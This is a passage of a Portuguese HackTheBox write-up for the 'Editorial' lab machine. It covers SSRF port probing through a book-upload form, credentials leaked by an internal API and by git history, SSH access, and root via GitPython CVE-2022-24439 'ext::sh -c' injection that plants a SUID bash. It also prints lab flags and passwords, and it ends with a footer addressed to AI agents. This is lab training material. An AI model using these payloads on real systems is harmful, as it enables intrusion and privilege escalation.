[+] PORT 9     LENGTH: 0     TIME: 60.159143s
```

#### Filtragem de resultados

Primeiro, agrupamos os resultados com base no **tempo de resposta**:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat SSRFports.txt | awk '{print $7}' | cut -d '.' -f 1 | uniq -c   
      1 
     97 0
      1 20
      1 60
```

O resultado indica que a maioria das portas responde em menos de 1 segundo, com exceção de duas (porta 80, como já sabíamos, e porta 9):

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# grep -E "TIME: (20|60)" SSRFports.txt
[+] PORT 80    LENGTH: 78    TIME: 20.221370s
[+] PORT 9     LENGTH: 0     TIME: 60.159143s
```

Em seguida, analisamos o **tamanho da resposta**:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat SSRFports.txt | awk '{print $5}' | sort | uniq -c
      1 
      1 0
      8 167
      1 71
     89 78
```

O resultado revela algumas respostas diferentes:

* **167 bytes**: Em oito portas.
* **71 bytes**: Em uma porta.
* **0 bytes**: Em uma porta (indicando uma resposta vazia).

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# grep -E "LENGTH: (0|167|71)" SSRFports.txt
[+] PORT 49154    LENGTH: 167    TIME: 0.170387s
[+] PORT 49153    LENGTH: 167    TIME: 0.211133s
[+] PORT 49157    LENGTH: 167    TIME: 0.141848s
[+] PORT 49152    LENGTH: 167    TIME: 0.210147s
[+] PORT 10000    LENGTH: 167    TIME: 0.226688s
[+] PORT 49156    LENGTH: 167    TIME: 0.183551s
[+] PORT 49155    LENGTH: 167    TIME: 0.209484s
[+] PORT 5000     LENGTH: 71     TIME: 0.139608s
[+] PORT 32768    LENGTH: 167    TIME: 0.211919s
[+] PORT 9        LENGTH: 0      TIME: 60.159143s
```

#### Observação com Burp Suite

Após identificar essas portas, passei a analisá-las usando o Burp Suite para confirmar se havia respostas válidas ou apenas falsos positivos. A porta 5000 chamou atenção ao retornar uma resposta diferente das demais. Ao tentar acessá-la, percebi que havia um comportamento semelhante a da rota de upload de arquivos.

```http
POST /upload-cover HTTP/1.1
Host: editorial.htb
Content-Length: 307
Accept-Language: en-US,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiOx64j3IqqiG0GGa
Accept: */*
Origin: http://editorial.htb
Referer: http://editorial.htb/upload
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookurl"

http://localhost:5000
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundaryiOx64j3IqqiG0GGa--

```

```http
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Content-Length: 51

static/uploads/5d9ef4c0-7c0a-4d99-a83a-ff4e4af7f487
```

O corpo da resposta indicava o caminho para um arquivo específico. Ao fazer o download desse arquivo, descobri que se tratava do output de uma API que fornecia algumas rotas úteis para futuras explorações.

### Enumerando as rotas da API

O conteúdo obtido ao acessar o arquivo da porta 5000 apresentou várias rotas da API:

<figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FhSAOxlPHuFqq5ScFEgN6%2Fimage.png?alt=media&#x26;token=74b60721-c53b-4f71-8972-078d115a16c5" alt=""><figcaption></figcaption></figure>

Filtrando o conteúdo do arquivo com o comando `jq`, extraí todas as rotas disponíveis:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# jq '.. | .endpoint? // empty' /home/kali/Downloads/c4a75452-2844-4a5b-b212-0a51a552458f | tr -d '"' | tee routes.txt
/api/latest/metadata/messages/promos
/api/latest/metadata/messages/coupons
/api/latest/metadata/messages/authors
/api/latest/metadata/messages/how_to_use_platform
/api/latest/metadata/changelog
/api/latest/metadata
```

Das rotas extraídas, o endpoint `/authors` revelou-se particularmente interessante. Ao acessá-lo, obtive um arquivo JSON que continha uma credencial de acesso.

Requisição no Burp:

```http
...<SNIP>...

------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookurl"

http://localhost:5000/api/latest/metadata/messages/authors
------WebKitFormBoundaryiOx64j3IqqiG0GGa
Content-Disposition: form-data; name="bookfile"; filename=""
Content-Type: application/octet-stream

------WebKitFormBoundaryiOx64j3IqqiG0GGa--
```

Conteúdo do arquivo gerado:

```sh
┌──(root㉿attacker)-[/home/kali/CTF]
└─# cat /home/kali/Downloads/6501b91b-5b07-4e91-8d06-a9abc37fa34c | jq | tee authors.json
{
  "template_mail_message": "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."
}
```

Identifiquei as seguintes credenciais:

* **Username**: `dev`
* **Password**: `dev080217_devAPI!@`

### Acesso ao Alvo via SSH

Sabendo que a porta 22 (SSH) estava aberta no alvo, utilizei essas credenciais para tentar acesso via SSH e, para minha surpresa, funcionaram perfeitamente.

```shell
┌──(root㉿attacker)-[/home/kali/CTF]
└─# ssh dev@editorial.htb
dev@editorial.htb's password: 
dev@editorial:~$ hostname -I
10.10.11.20 
```

Com o acesso garantido ao sistema como usuário `dev`, consegui finalmente capturar a **user flag**:

```sh
dev@editorial:~$ cat user.txt 
a8b6ef2bb669065c9423a721df5e3e10
```

## Movimentação Lateral - Dumping Git Secrets

Após ganhar acesso inicial com a conta `dev`, comecei a explorar o sistema para identificar possíveis caminhos de movimentação lateral. Primeiramente, observei os usuários configurados no sistema:

```sh
dev@editorial:~$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
prod:x:1000:1000:Alirio Acosta:/home/prod:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash
```

Além do usuário `dev`, havia um outro usuário chamado `prod`, que parecia ser uma conta relevante, provavelmente ligada ao ambiente de produção do sistema. O próximo passo foi inspecionar os diretórios dos usuários:

```sh
dev@editorial:~$ ls -la /home/
total 16
drwxr-xr-x  4 root root 4096 Jun  5 14:36 .
drwxr-xr-x 18 root root 4096 Jun  5 14:54 ..
drwxr-x---  5 dev  dev  4096 Oct 20 13:32 dev
drwxr-x---  5 prod prod 4096 Jun  5 14:36 prod
```

Notei que o diretório do usuário `prod` estava presente, mas eu não tinha permissão de acesso direto. No entanto, ao explorar o diretório do usuário `dev`, encontrei uma pasta `.git`, que indicava que um projeto estava sendo versionado com Git. Esta é uma pista importante, pois commits de código às vezes podem expor informações sensíveis.

```sh
dev@editorial:~$ ls -la apps/.git/
total 52
drwxr-xr-x  8 dev dev 4096 Oct 20 09:16 .
drwxrwxr-x  3 dev dev 4096 Jun  5 14:36 ..
drwxr-xr-x  2 dev dev 4096 Jun  5 14:36 branches
-rw-r--r--  1 dev dev  253 Jun  4 11:30 COMMIT_EDITMSG
-rw-r--r--  1 dev dev  177 Jun  4 11:30 config
-rw-r--r--  1 dev dev   73 Jun  4 11:30 description
-rw-r--r--  1 dev dev   23 Jun  4 11:30 HEAD
drwxr-xr-x  2 dev dev 4096 Jun  5 14:36 hooks
-rw-rw-r--  1 dev dev  134 Oct 20 09:14 index
drwxr-xr-x  2 dev dev 4096 Jun  5 14:36 info
drwxr-xr-x  3 dev dev 4096 Jun  5 14:36 logs
drwxr-xr-x 70 dev dev 4096 Jun  5 14:36 objects
drwxr-xr-x  4 dev dev 4096 Jun  5 14:36 refs
```

A partir dessa informação, decidi investigar os commits realizados, na esperança de encontrar informações úteis para avançar. Exibi o histórico de commits com o comando `git log` e percebi várias mudanças importantes no código relacionadas à API do sistema.

```sh
dev@editorial:~/apps$ git log
commit 8ad0f3187e2bda88bba85074635ea942974587e8 (HEAD -> master)
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:04:21 2023 -0500

    fix: bugfix in api port endpoint

commit dfef9f20e57d730b7d71967582035925d57ad883
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 21:01:11 2023 -0500

    change: remove debug and update api port

commit b73481bb823d2dfb49c44f4c1e6a7e11912ed8ae
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:55:08 2023 -0500

    change(api): downgrading prod to dev
    
    * To use development environment.

commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info
    
    * It (will) contains internal info about the editorial, this enable
       faster access to information.

commit 3251ec9e8ffdd9b938e83e3b9fbf5fd1efa9bbb8
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:48:43 2023 -0500

    feat: create editorial app
    
    * This contains the base of this project.
    * Also we add a feature to enable to external authors send us their
       books and validate a future post in our editorial.
```

Entre esses commits, o que mais chamou minha atenção foi o commit `1e84a036b2f33c59e2390730699a488c65643d28`, que mencionava a criação de uma API contendo informações internas sobre o editorial. Exibindo o conteúdo do commit com o comando `git show`, eu encontrei algo extremamente valioso: credenciais de acesso para o usuário `prod`!

```sh
dev@editorial:~/apps$ git show 1e84a036b2f33c59e2390730699a488c65643d28
commit 1e84a036b2f33c59e2390730699a488c65643d28
Author: dev-carlos.valderrama <dev-carlos.valderrama@tiempoarriba.htb>
Date:   Sun Apr 30 20:51:10 2023 -0500

    feat: create api to editorial info
    
    * It (will) contains internal info about the editorial, this enable
       faster access to information.

diff --git a/app_api/app.py b/app_api/app.py
...<SNIP>...
+def api_mail_new_authors():
+    return jsonify({
+        'template_mail_message': "Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal forum and authors site are:\nUsername: prod\nPassword: 080217_Producti0n_2023!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, " + api_editorial_name + " Team."
+    }) # TODO: replace dev credentials when checks pass
+
+# -------------------------------
+# Start program
+# -------------------------------
+if __name__ == '__main__':
+    app.run(host='127.0.0.1', port=5001, debug=True)
```

Aqui estavam as credenciais de acesso para o usuário `prod`:

* **Username:** `prod`
* **Password:** `080217_Producti0n_2023!@`

Decidi testar essas credenciais para ver se poderia migrar para a conta `prod`. Para minha satisfação, a senha funcionou, me permitindo realizar a movimentação lateral para a conta `prod` usando o comando `su`.

```sh
dev@editorial:~/apps$ su prod
Password: 
prod@editorial:/home/dev/apps$ id
uid=1000(prod) gid=1000(prod) groups=1000(prod)
```

Com a conta `prod`, agora eu tinha acesso a novos recursos e possivelmente mais privilégios no sistema.

## Escalada de Privilégios via CVE-2022-24439

Após obtermos acesso ao usuário `prod`, decidi verificar as permissões de `sudo` que ele possuía. Ele pode rodar um script Python específico como root, o que poderia ser a chave para escalar privilégios. Executando o comando `sudo -l`, vejo que `prod` pode executar o script `/opt/internal_apps/clone_changes/clone_prod_change.py` com qualquer argumento:

```sh
prod@editorial:/home/dev/apps$ sudo -l
[sudo] password for prod: 
Matching Defaults entries for prod on editorial:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User prod may run the following commands on editorial:
    (root) /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py *
```

Fui analisar o conteúdo do script para entender melhor como ele funciona. O script em si é bastante simples, basicamente clona um repositório de uma URL especificada:

```sh
prod@editorial:/home/dev/apps$ cat /opt/internal_apps/clone_changes/clone_prod_change.py
#!/usr/bin/python3

import os
import sys
from git import Repo

os.chdir('/opt/internal_apps/clone_changes')

url_to_clone = sys.argv[1]

r = Repo.init('', bare=True)
r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
```

No entanto, com o uso do `sudo` sendo restringido por variáveis como `env_reset` e `secure_path`, parecia difícil encontrar um ponto de hijacking no script. Contudo, notei que ele utilizava a biblioteca `GitPython`.

Verifiquei os pacotes Python instalados no host e confirmei que a versão 3.1.29 da biblioteca GitPython estava instalada:

```sh
prod@editorial:/home/dev/apps$ pip list | grep -i git

gitdb                 4.0.10
GitPython             3.1.29
```

Pesquisando sobre esta versão da biblioteca, descobri que ela era vulnerável a um problema grave de Remote Code Execution (RCE) devido à forma como ela tratava as URLs dos repositórios Git. Essa vulnerabilidade foi corrigida na versão 3.1.30, mas o host ainda estava rodando a versão anterior.

<div align="left"><figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2FKC3GuuNo0aoNy25Olntm%2Fimage.png?alt=media&#x26;token=ad81ce92-3c64-49c0-be08-6bfb0ddfdd88" alt="" width="563"><figcaption><p>https://github.com/gitpython-developers/GitPython/releases/tag/3.1.30</p></figcaption></figure></div>

O CVE associado a esta falha era o CVE-2022-24439, que permitia injeção de comandos ao fornecer uma URL maliciosa para o comando `clone`:

* <https://security.snyk.io/vuln/SNYK-PYTHON-GITPYTHON-3113858>

Temos a seguinte instrução:

> **How to fix?**
>
> Upgrade `GitPython` to version 3.1.30 or higher.
>
> **Overview**
>
> [GitPython](https://pypi.org/project/GitPython/) is a python library used to interact with Git repositories
>
> Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to improper user input validation, which makes it possible to inject a maliciously crafted remote URL into the clone command. Exploiting this vulnerability is possible because the library makes external calls to `git` without sufficient sanitization of input arguments. This is only relevant when enabling the `ext` transport protocol.
>
> **PoC**
>
> ```
> from git import Repo
> r = Repo.init('', bare=True)
> r.clone_from('ext::sh -c touch% /tmp/pwned', 'tmp', multi_options=["-c protocol.ext.allow=always"])
> ```

Testei a PoC injetando o comando que cria um arquivo chamado "pwned" no diretório `/tmp`:

```sh
prod@editorial:/tmp/...$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c touch% /tmp/.../pwned'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c touch% /tmp/.../pwned new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
```

O comando retornou um erro relacionado ao Git, mas é apenas um erro superficial. Verificando o diretório `/tmp` vemos que o arquivo "pwned" foi criado com sucesso, e o dono era o `root`:

```sh
prod@editorial:/tmp/...$ ls -la pwned 
-rw-r--r-- 1 root root 0 Oct 20 16:20 pwned
```

Sabendo que era possível executar comandos como root, aproveitei para injetar um comando mais útil. Criei um script Bash que copiava o binário `/bin/bash` para o diretório `/tmp` com permissão SUID, garantindo que ele pudesse ser executado como root posteriormente:

```sh
prod@editorial:/tmp/...$ echo -e '#!/bin/bash\ncp /bin/bash /tmp/.../brunobash; chown root:root /tmp/.../brunobash; chmod 6777 /tmp/.../brunobash' | tee /tmp/.../bash.sh; chmod +x /tmp/.../bash.sh; echo; ls -la bash.sh
#!/bin/bash
cp /bin/bash /tmp/.../brunobash; chown root:root /tmp/.../brunobash; chmod 6777 /tmp/.../brunobash

-rwxrwxr-x 1 prod prod 111 Oct 20 16:23 bash.sh
```

O script foi salvo como `bash.sh`, e com o mesmo processo de injeção, executei o script como root:

```sh
prod@editorial:/tmp/...$ sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_change.py 'ext::sh -c /tmp/.../bash.sh'
Traceback (most recent call last):
  File "/opt/internal_apps/clone_changes/clone_prod_change.py", line 12, in <module>
    r.clone_from(url_to_clone, 'new_changes', multi_options=["-c protocol.ext.allow=always"])
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1275, in clone_from
    return cls._clone(git, url, to_path, GitCmdObjectDB, progress, multi_options, **kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/repo/base.py", line 1194, in _clone
    finalize_process(proc, stderr=stderr)
  File "/usr/local/lib/python3.10/dist-packages/git/util.py", line 419, in finalize_process
    proc.wait(**kwargs)
  File "/usr/local/lib/python3.10/dist-packages/git/cmd.py", line 559, in wait
    raise GitCommandError(remove_password_if_present(self.args), status, errstr)
git.exc.GitCommandError: Cmd('git') failed due to: exit code(128)
  cmdline: git clone -v -c protocol.ext.allow=always ext::sh -c /tmp/.../bash.sh new_changes
  stderr: 'Cloning into 'new_changes'...
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.
'
```

Mais uma vez, o comando retornou o mesmo erro de `GitCommandError`, mas o script foi executado com sucesso. Verifiquei o diretório `/tmp` e, como esperado, o binário `brunobash` foi criado com as permissões corretas:

```sh
prod@editorial:/tmp/...$ ls -la brunobash 
-rwsrwsrwx 1 root root 1396520 Oct 20 16:24 brunobash
```

Agora, ao executar esse binário com a permissão SUID, obtive uma shell como root:

```sh
prod@editorial:/tmp/...$ ./brunobash -p
brunobash-5.1# whoami
root
```

Com a shell de root, o próximo passo foi localizar e ler a flag `root.txt`:

```sh
brunobash-5.1# cat /root/root.txt 
ffe72a3ffd1ffaeb7826f2ac5fd41b63
```

{% hint style="success" %}
Com a escalada de privilégios bem-sucedida e acesso root obtido, todas as flags foram coletadas e a máquina foi totalmente comprometida.
{% endhint %}

<div align="left"><figure><img src="https://2078903645-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FW98xJQuX2kc5QKEyMN0C%2Fuploads%2F3YCjR1ZsSOnM4i3bDeYw%2Fmr.gif?alt=media&#x26;token=89459d31-dd5f-4407-9c20-e62190bb64da" alt="" width="300"><figcaption></figcaption></figure></div>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://brunosergio.gitbook.io/ctfs/writeups/hackthebox/editorial.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
